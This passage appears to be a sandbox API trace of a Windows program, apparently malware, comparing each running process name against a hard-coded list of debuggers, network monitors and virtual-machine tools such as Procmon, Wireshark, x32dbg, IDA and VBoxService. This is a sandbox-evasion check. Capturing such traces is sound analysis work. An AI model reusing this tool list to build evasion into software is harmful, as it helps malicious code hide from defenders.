[0247.333] StrStrIA (lpFirst="System", lpSrch="vmacthlp.exe") returned 0x0 [0247.334] StrStrIA (lpFirst="System", lpSrch="OLLYDBG.EXE") returned 0x0 [0247.334] StrStrIA (lpFirst="System", lpSrch="windbg.exe") returned 0x0 [0247.334] StrStrIA (lpFirst="System", lpSrch="bds-vision-agent-nai.exe") returned 0x0 [0247.334] StrStrIA (lpFirst="System", lpSrch="bds-vision-apis.exe") returned 0x0 [0247.334] StrStrIA (lpFirst="System", lpSrch="bds-vision-agent-app.exe") returned 0x0 [0247.334] StrStrIA (lpFirst="System", lpSrch="MultiAnalysis_v1.0.294.exe") returned 0x0 [0247.334] StrStrIA (lpFirst="System", lpSrch="x32dbg.exe") returned 0x0 [0247.334] StrStrIA (lpFirst="System", lpSrch="VBoxTray.exe") returned 0x0 [0247.334] StrStrIA (lpFirst="System", lpSrch="VBoxService.exe") returned 0x0 [0247.334] StrStrIA (lpFirst="System", lpSrch="Tcpview.exe") returned 0x0 [0247.334] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0247.335] lstrcmpiA (lpString1="Fiddler.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="samp1e.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="sample.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="runsample.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="lordpe.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="regshot.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="Autoruns.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="dsniff.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="smss.exe") returned 1 [0247.335] lstrcmpiA (lpString1="HashMyFiles.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="Procmon.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="Procmon64.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="netmon.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="vmtoolsd.exe", lpString2="smss.exe") returned 1 [0247.335] lstrcmpiA (lpString1="vm3dservice.exe", lpString2="smss.exe") returned 1 [0247.335] lstrcmpiA (lpString1="VGAuthService.exe", lpString2="smss.exe") returned 1 [0247.335] lstrcmpiA (lpString1="pr0c3xp.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="CFF Explorer.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="dumpcap.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="Wireshark.exe", lpString2="smss.exe") returned 1 [0247.335] lstrcmpiA (lpString1="idaq.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="idaq64.exe", lpString2="smss.exe") returned -1 [0247.335] lstrcmpiA (lpString1="TPAutoConnect.exe", lpString2="smss.exe") returned 1 [0247.335] lstrcmpiA (lpString1="ResourceHacker.exe", lpString2="smss.exe") returned -1 [0247.336] lstrcmpiA (lpString1="vmacthlp.exe", lpString2="smss.exe") returned 1 [0247.336] lstrcmpiA (lpString1="OLLYDBG.EXE", lpString2="smss.exe") returned -1 [0247.336] lstrcmpiA (lpString1="windbg.exe", lpString2="smss.exe") returned 1 [0247.336] lstrcmpiA (lpString1="bds-vision-agent-nai.exe", lpString2="smss.exe") returned -1 [0247.336] lstrcmpiA (lpString1="bds-vision-apis.exe", lpString2="smss.exe") returned -1 [0247.336] lstrcmpiA (lpString1="bds-vision-agent-app.exe", lpString2="smss.exe") returned -1 [0247.336] lstrcmpiA (lpString1="MultiAnalysis_v1.0.294.exe", lpString2="smss.exe") returned -1 [0247.336] lstrcmpiA (lpString1="x32dbg.exe", lpString2="smss.exe") returned 1 [0247.336] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="smss.exe") returned 1 [0247.336] lstrcmpiA (lpString1="VBoxService.exe", lpString2="smss.exe") returned 1 [0247.336] lstrcmpiA (lpString1="Tcpview.exe", lpString2="smss.exe") returned 1 [0247.336] StrStrIA (lpFirst="smss.exe", lpSrch="Fiddler.exe") returned 0x0 [0247.336] StrStrIA (lpFirst="smss.exe", lpSrch="samp1e.exe") returned 0x0 [0247.336] StrStrIA (lpFirst="smss.exe", lpSrch="sample.exe") returned 0x0 [0247.336] StrStrIA (lpFirst="smss.exe", lpSrch="runsample.exe") returned 0x0 [0247.336] StrStrIA (lpFirst="smss.exe", lpSrch="lordpe.exe") returned 0x0 [0247.336] StrStrIA (lpFirst="smss.exe", lpSrch="regshot.exe") returned 0x0 [0247.336] StrStrIA (lpFirst="smss.exe", lpSrch="Autoruns.exe") returned 0x0 [0247.336] StrStrIA (lpFirst="smss.exe", lpSrch="dsniff.exe") returned 0x0 [0247.336] StrStrIA (lpFirst="smss.exe", lpSrch="VBoxTray.exe") returned 0x0 [0247.336] StrStrIA (lpFirst="smss.exe", lpSrch="HashMyFiles.exe") returned 0x0 [0247.336] StrStrIA (lpFirst="smss.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0247.336] StrStrIA (lpFirst="smss.exe", lpSrch="Procmon.exe") returned 0x0 [0247.337] StrStrIA (lpFirst="smss.exe", lpSrch="Procmon64.exe") returned 0x0 [0247.337] StrStrIA (lpFirst="smss.exe", lpSrch="netmon.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="vmtoolsd.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="vm3dservice.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="VGAuthService.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="pr0c3xp.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="CFF Explorer.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="dumpcap.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="Wireshark.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="idaq.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="idaq64.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="TPAutoConnect.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="ResourceHacker.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="vmacthlp.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="OLLYDBG.EXE") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="windbg.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="bds-vision-agent-nai.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="bds-vision-apis.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="bds-vision-agent-app.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="MultiAnalysis_v1.0.294.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="x32dbg.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="VBoxTray.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="VBoxService.exe") returned 0x0 [0247.338] StrStrIA (lpFirst="smss.exe", lpSrch="Tcpview.exe") returned 0x0 [0247.338] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.339] lstrcmpiA (lpString1="Fiddler.exe", lpString2="csrss.exe") returned 1 [0247.339] lstrcmpiA (lpString1="samp1e.exe", lpString2="csrss.exe") returned 1 [0247.339] lstrcmpiA (lpString1="sample.exe", lpString2="csrss.exe") returned 1 [0247.339] lstrcmpiA (lpString1="runsample.exe", lpString2="csrss.exe") returned 1 [0247.339] lstrcmpiA (lpString1="lordpe.exe", lpString2="csrss.exe") returned 1 [0247.339] lstrcmpiA (lpString1="regshot.exe", lpString2="csrss.exe") returned 1 [0247.339] lstrcmpiA (lpString1="Autoruns.exe", lpString2="csrss.exe") returned -1 [0247.339] lstrcmpiA (lpString1="dsniff.exe", lpString2="csrss.exe") returned 1 [0247.339] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="csrss.exe") returned 1 [0247.339] lstrcmpiA (lpString1="HashMyFiles.exe", lpString2="csrss.exe") returned 1 [0247.339] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="csrss.exe") returned 1 [0247.340] lstrcmpiA (lpString1="Procmon.exe", lpString2="csrss.exe") returned 1 [0247.340] lstrcmpiA (lpString1="Procmon64.exe", lpString2="csrss.exe") returned 1 [0247.340] lstrcmpiA (lpString1="netmon.exe", lpString2="csrss.exe") returned 1 [0247.340] lstrcmpiA (lpString1="vmtoolsd.exe", lpString2="csrss.exe") returned 1 [0247.340] lstrcmpiA (lpString1="vm3dservice.exe", lpString2="csrss.exe") returned 1 [0247.340] lstrcmpiA (lpString1="VGAuthService.exe", lpString2="csrss.exe") returned 1 [0247.340] lstrcmpiA (lpString1="pr0c3xp.exe", lpString2="csrss.exe") returned 1 [0247.340] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="csrss.exe") returned 1 [0247.340] lstrcmpiA (lpString1="CFF Explorer.exe", lpString2="csrss.exe") returned -1 [0247.340] lstrcmpiA (lpString1="dumpcap.exe", lpString2="csrss.exe") returned 1 [0247.340] lstrcmpiA (lpString1="Wireshark.exe", lpString2="csrss.exe") returned 1 [0247.340] lstrcmpiA (lpString1="idaq.exe", lpString2="csrss.exe") returned 1 [0247.340] lstrcmpiA (lpString1="idaq64.exe", lpString2="csrss.exe") returned 1 [0247.340] lstrcmpiA (lpString1="TPAutoConnect.exe", lpString2="csrss.exe") returned 1 [0247.340] lstrcmpiA (lpString1="ResourceHacker.exe", lpString2="csrss.exe") returned 1 [0247.341] lstrcmpiA (lpString1="vmacthlp.exe", lpString2="csrss.exe") returned 1 [0247.341] lstrcmpiA (lpString1="OLLYDBG.EXE", lpString2="csrss.exe") returned 1 [0247.341] lstrcmpiA (lpString1="windbg.exe", lpString2="csrss.exe") returned 1 [0247.341] lstrcmpiA (lpString1="bds-vision-agent-nai.exe", lpString2="csrss.exe") returned -1 [0247.341] lstrcmpiA (lpString1="bds-vision-apis.exe", lpString2="csrss.exe") returned -1 [0247.341] lstrcmpiA (lpString1="bds-vision-agent-app.exe", lpString2="csrss.exe") returned -1 [0247.341] lstrcmpiA (lpString1="MultiAnalysis_v1.0.294.exe", lpString2="csrss.exe") returned 1 [0247.341] lstrcmpiA (lpString1="x32dbg.exe", lpString2="csrss.exe") returned 1 [0247.341] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="csrss.exe") returned 1 [0247.341] lstrcmpiA (lpString1="VBoxService.exe", lpString2="csrss.exe") returned 1 [0247.341] lstrcmpiA (lpString1="Tcpview.exe", lpString2="csrss.exe") returned 1 [0247.341] StrStrIA (lpFirst="csrss.exe", lpSrch="Fiddler.exe") returned 0x0 [0247.341] StrStrIA (lpFirst="csrss.exe", lpSrch="samp1e.exe") returned 0x0 [0247.341] StrStrIA (lpFirst="csrss.exe", lpSrch="sample.exe") returned 0x0 [0247.341] StrStrIA (lpFirst="csrss.exe", lpSrch="runsample.exe") returned 0x0 [0247.341] StrStrIA (lpFirst="csrss.exe", lpSrch="lordpe.exe") returned 0x0 [0247.341] StrStrIA (lpFirst="csrss.exe", lpSrch="regshot.exe") returned 0x0 [0247.341] StrStrIA (lpFirst="csrss.exe", lpSrch="Autoruns.exe") returned 0x0 [0247.341] StrStrIA (lpFirst="csrss.exe", lpSrch="dsniff.exe") returned 0x0 [0247.341] StrStrIA (lpFirst="csrss.exe", lpSrch="VBoxTray.exe") returned 0x0 [0247.341] StrStrIA (lpFirst="csrss.exe", lpSrch="HashMyFiles.exe") returned 0x0 [0247.341] StrStrIA (lpFirst="csrss.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0247.341] StrStrIA (lpFirst="csrss.exe", lpSrch="Procmon.exe") returned 0x0 [0247.341] StrStrIA (lpFirst="csrss.exe", lpSrch="Procmon64.exe") returned 0x0 [0247.341] StrStrIA (lpFirst="csrss.exe", lpSrch="netmon.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="vmtoolsd.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="vm3dservice.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="VGAuthService.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="pr0c3xp.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="CFF Explorer.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="dumpcap.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="Wireshark.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="idaq.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="idaq64.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="TPAutoConnect.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="ResourceHacker.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="vmacthlp.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="OLLYDBG.EXE") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="windbg.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="bds-vision-agent-nai.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="bds-vision-apis.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="bds-vision-agent-app.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="MultiAnalysis_v1.0.294.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="x32dbg.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="VBoxTray.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="VBoxService.exe") returned 0x0 [0247.342] StrStrIA (lpFirst="csrss.exe", lpSrch="Tcpview.exe") returned 0x0 [0247.342] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0247.343] lstrcmpiA (lpString1="Fiddler.exe", lpString2="wininit.exe") returned -1 [0247.343] lstrcmpiA (lpString1="samp1e.exe", lpString2="wininit.exe") returned -1 [0247.343] lstrcmpiA (lpString1="sample.exe", lpString2="wininit.exe") returned -1 [0247.343] lstrcmpiA (lpString1="runsample.exe", lpString2="wininit.exe") returned -1 [0247.343] lstrcmpiA (lpString1="lordpe.exe", lpString2="wininit.exe") returned -1 [0247.343] lstrcmpiA (lpString1="regshot.exe", lpString2="wininit.exe") returned -1 [0247.343] lstrcmpiA (lpString1="Autoruns.exe", lpString2="wininit.exe") returned -1 [0247.343] lstrcmpiA (lpString1="dsniff.exe", lpString2="wininit.exe") returned -1 [0247.343] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="wininit.exe") returned -1 [0247.343] lstrcmpiA (lpString1="HashMyFiles.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="Procmon.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="Procmon64.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="netmon.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="vmtoolsd.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="vm3dservice.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="VGAuthService.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="pr0c3xp.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="CFF Explorer.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="dumpcap.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="Wireshark.exe", lpString2="wininit.exe") returned 1 [0247.344] lstrcmpiA (lpString1="idaq.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="idaq64.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="TPAutoConnect.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="ResourceHacker.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="vmacthlp.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="OLLYDBG.EXE", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="windbg.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="bds-vision-agent-nai.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="bds-vision-apis.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="bds-vision-agent-app.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="MultiAnalysis_v1.0.294.exe", lpString2="wininit.exe") returned -1 [0247.344] lstrcmpiA (lpString1="x32dbg.exe", lpString2="wininit.exe") returned 1 [0247.344] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="wininit.exe") returned -1 [0247.345] lstrcmpiA (lpString1="VBoxService.exe", lpString2="wininit.exe") returned -1 [0247.345] lstrcmpiA (lpString1="Tcpview.exe", lpString2="wininit.exe") returned -1 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="Fiddler.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="samp1e.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="sample.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="runsample.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="lordpe.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="regshot.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="Autoruns.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="dsniff.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="VBoxTray.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="HashMyFiles.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="Procmon.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="Procmon64.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="netmon.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="vmtoolsd.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="vm3dservice.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="VGAuthService.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="pr0c3xp.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="CFF Explorer.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="dumpcap.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="Wireshark.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="idaq.exe") returned 0x0 [0247.345] StrStrIA (lpFirst="wininit.exe", lpSrch="idaq64.exe") returned 0x0 [0247.346] StrStrIA (lpFirst="wininit.exe", lpSrch="TPAutoConnect.exe") returned 0x0 [0247.346] StrStrIA (lpFirst="wininit.exe", lpSrch="ResourceHacker.exe") returned 0x0 [0247.346] StrStrIA (lpFirst="wininit.exe", lpSrch="vmacthlp.exe") returned 0x0 [0247.346] StrStrIA (lpFirst="wininit.exe", lpSrch="OLLYDBG.EXE") returned 0x0 [0247.346] StrStrIA (lpFirst="wininit.exe", lpSrch="windbg.exe") returned 0x0 [0247.346] StrStrIA (lpFirst="wininit.exe", lpSrch="bds-vision-agent-nai.exe") returned 0x0 [0247.346] StrStrIA (lpFirst="wininit.exe", lpSrch="bds-vision-apis.exe") returned 0x0 [0247.346] StrStrIA (lpFirst="wininit.exe", lpSrch="bds-vision-agent-app.exe") returned 0x0 [0247.346] StrStrIA (lpFirst="wininit.exe", lpSrch="MultiAnalysis_v1.0.294.exe") returned 0x0 [0247.346] StrStrIA (lpFirst="wininit.exe", lpSrch="x32dbg.exe") returned 0x0 [0247.346] StrStrIA (lpFirst="wininit.exe", lpSrch="VBoxTray.exe") returned 0x0 [0247.346] StrStrIA (lpFirst="wininit.exe", lpSrch="VBoxService.exe") returned 0x0 [0247.346] StrStrIA (lpFirst="wininit.exe", lpSrch="Tcpview.exe") returned 0x0 [0247.346] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.347] lstrcmpiA (lpString1="Fiddler.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="samp1e.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="sample.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="runsample.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="lordpe.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="regshot.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="Autoruns.exe", lpString2="csrss.exe") returned -1 [0247.347] lstrcmpiA (lpString1="dsniff.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="HashMyFiles.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="Procmon.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="Procmon64.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="netmon.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="vmtoolsd.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="vm3dservice.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="VGAuthService.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="pr0c3xp.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="CFF Explorer.exe", lpString2="csrss.exe") returned -1 [0247.347] lstrcmpiA (lpString1="dumpcap.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="Wireshark.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="idaq.exe", lpString2="csrss.exe") returned 1 [0247.347] lstrcmpiA (lpString1="idaq64.exe", lpString2="csrss.exe") returned 1 [0247.348] lstrcmpiA (lpString1="TPAutoConnect.exe", lpString2="csrss.exe") returned 1 [0247.348] lstrcmpiA (lpString1="ResourceHacker.exe", lpString2="csrss.exe") returned 1 [0247.348] lstrcmpiA (lpString1="vmacthlp.exe", lpString2="csrss.exe") returned 1 [0247.348] lstrcmpiA (lpString1="OLLYDBG.EXE", lpString2="csrss.exe") returned 1 [0247.348] lstrcmpiA (lpString1="windbg.exe", lpString2="csrss.exe") returned 1 [0247.348] lstrcmpiA (lpString1="bds-vision-agent-nai.exe", lpString2="csrss.exe") returned -1 [0247.348] lstrcmpiA (lpString1="bds-vision-apis.exe", lpString2="csrss.exe") returned -1 [0247.348] lstrcmpiA (lpString1="bds-vision-agent-app.exe", lpString2="csrss.exe") returned -1 [0247.348] lstrcmpiA (lpString1="MultiAnalysis_v1.0.294.exe", lpString2="csrss.exe") returned 1 [0247.348] lstrcmpiA (lpString1="x32dbg.exe", lpString2="csrss.exe") returned 1 [0247.348] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="csrss.exe") returned 1 [0247.348] lstrcmpiA (lpString1="VBoxService.exe", lpString2="csrss.exe") returned 1 [0247.348] lstrcmpiA (lpString1="Tcpview.exe", lpString2="csrss.exe") returned 1 [0247.348] StrStrIA (lpFirst="csrss.exe", lpSrch="Fiddler.exe") returned 0x0 [0247.348] StrStrIA (lpFirst="csrss.exe", lpSrch="samp1e.exe") returned 0x0 [0247.348] StrStrIA (lpFirst="csrss.exe", lpSrch="sample.exe") returned 0x0 [0247.348] StrStrIA (lpFirst="csrss.exe", lpSrch="runsample.exe") returned 0x0 [0247.348] StrStrIA (lpFirst="csrss.exe", lpSrch="lordpe.exe") returned 0x0 [0247.348] StrStrIA (lpFirst="csrss.exe", lpSrch="regshot.exe") returned 0x0 [0247.348] StrStrIA (lpFirst="csrss.exe", lpSrch="Autoruns.exe") returned 0x0 [0247.348] StrStrIA (lpFirst="csrss.exe", lpSrch="dsniff.exe") returned 0x0 [0247.348] StrStrIA (lpFirst="csrss.exe", lpSrch="VBoxTray.exe") returned 0x0 [0247.348] StrStrIA (lpFirst="csrss.exe", lpSrch="HashMyFiles.exe") returned 0x0 [0247.348] StrStrIA (lpFirst="csrss.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0247.348] StrStrIA (lpFirst="csrss.exe", lpSrch="Procmon.exe") returned 0x0 [0247.348] StrStrIA (lpFirst="csrss.exe", lpSrch="Procmon64.exe") returned 0x0 [0247.348] StrStrIA (lpFirst="csrss.exe", lpSrch="netmon.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="vmtoolsd.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="vm3dservice.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="VGAuthService.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="pr0c3xp.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="CFF Explorer.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="dumpcap.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="Wireshark.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="idaq.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="idaq64.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="TPAutoConnect.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="ResourceHacker.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="vmacthlp.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="OLLYDBG.EXE") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="windbg.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="bds-vision-agent-nai.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="bds-vision-apis.exe") returned 0x0 [0247.349] StrStrIA 